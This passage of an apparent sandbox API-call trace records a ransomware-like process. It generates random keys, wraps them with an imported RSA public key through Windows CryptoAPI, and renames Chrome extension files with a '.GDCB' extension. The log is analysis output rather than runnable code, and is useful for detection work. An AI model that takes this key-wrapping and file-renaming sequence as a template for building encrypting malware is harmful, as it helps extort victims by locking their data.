dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ac178) returned 1 [0239.392] CryptGetKeyParam (in: hKey=0x66ac178, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0239.392] CryptEncrypt (in: hKey=0x66ac178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa170000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xa170000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0239.392] GetLastError () returned 0x0 [0239.392] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.392] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.392] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0239.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.396] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0239.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.396] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0239.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.400] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.400] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0239.400] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.400] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0239.402] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ac1b8) returned 1 [0239.402] CryptGetKeyParam (in: hKey=0x66ac1b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0239.402] CryptEncrypt (in: hKey=0x66ac1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa180000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xa180000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0239.402] GetLastError () returned 0x0 [0239.402] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.402] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0239.404] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66ac338) returned 1 [0239.404] CryptGetKeyParam (in: hKey=0x66ac338, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0239.404] CryptEncrypt (in: hKey=0x66ac338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa190000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xa190000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0239.404] GetLastError () returned 0x0 [0239.404] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.421] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.424] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.426] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.426] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.426] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0239.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.429] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.430] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.430] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.430] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.432] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b27b8) returned 1 [0239.432] CryptGetKeyParam (in: hKey=0x66b27b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.432] CryptEncrypt (in: hKey=0x66b27b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.432] GetLastError () returned 0x0 [0239.433] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.433] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.434] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac1f8) returned 1 [0239.434] CryptGetKeyParam (in: hKey=0x66ac1f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.434] CryptEncrypt (in: hKey=0x66ac1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.435] GetLastError () returned 0x0 [0239.435] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.435] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0239.436] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xa1c0000 [0239.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xa1d0000 [0239.440] ReadFile (in: hFile=0x424, lpBuffer=0xa1d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xa1d0000*, lpNumberOfBytesRead=0x285d160*=0x1378, lpOverlapped=0x0) returned 1 [0239.463] VirtualAlloc (lpAddress=0x0, dwSize=0x1380, flAllocationType=0x3000, flProtect=0x4) returned 0xa2e0000 [0239.469] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png.gdcb")) returned 1 [0239.471] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.475] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.476] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.476] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.476] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0239.478] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.480] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.480] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.480] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.480] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.483] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac238) returned 1 [0239.483] CryptGetKeyParam (in: hKey=0x66ac238, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.483] CryptEncrypt (in: hKey=0x66ac238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.483] GetLastError () returned 0x0 [0239.483] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.483] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0239.485] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac278) returned 1 [0239.485] CryptGetKeyParam (in: hKey=0x66ac278, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.485] CryptEncrypt (in: hKey=0x66ac278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.485] GetLastError () returned 0x0 [0239.485] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.485] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.486] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.490] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.490] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.490] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.490] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.494] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.494] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.496] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac2b8) returned 1 [0239.497] CryptGetKeyParam (in: hKey=0x66ac2b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.497] CryptEncrypt (in: hKey=0x66ac2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.497] GetLastError () returned 0x0 [0239.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.497] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.499] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac3b8) returned 1 [0239.499] CryptGetKeyParam (in: hKey=0x66ac3b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.499] CryptEncrypt (in: hKey=0x66ac3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.499] GetLastError () returned 0x0 [0239.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0239.502] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.515] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.515] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0239.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.519] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.519] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.520] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0239.522] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac478) returned 1 [0239.522] CryptGetKeyParam (in: hKey=0x66ac478, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.522] CryptEncrypt (in: hKey=0x66ac478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.523] GetLastError () returned 0x0 [0239.523] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.523] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.524] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac678) returned 1 [0239.524] CryptGetKeyParam (in: hKey=0x66ac678, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.525] CryptEncrypt (in: hKey=0x66ac678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.525] GetLastError () returned 0x0 [0239.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.525] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0239.526] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xa200000 [0239.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xa210000 [0239.530] ReadFile (in: hFile=0x424, lpBuffer=0xa210000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xa210000*, lpNumberOfBytesRead=0x285d160*=0x5b6c, lpOverlapped=0x0) returned 1 [0239.562] VirtualAlloc (lpAddress=0x0, dwSize=0x5b70, flAllocationType=0x3000, flProtect=0x4) returned 0xa320000 [0239.568] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js.gdcb")) returned 0 [0239.572] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0239.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.577] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0239.577] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0239.577] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0239.579] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0239.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0239.581] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0239.581] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.581] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0239.583] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac6b8) returned 1 [0239.583] CryptGetKeyParam (in: hKey=0x66ac6b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.583] CryptEncrypt (in: hKey=0x66ac6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xa1e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0239.583] GetLastError () returned 0x0 [0239.584] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0239.584] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0239.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66ac778) returned 1 [0239.587] CryptGetKeyParam (in: hKey=0x66ac778, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0239.587] CryptEncrypt (in: hKey=0x66ac778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa1f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xa1f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0239.587] GetLastError () returned 0x0 [0239.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0239.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 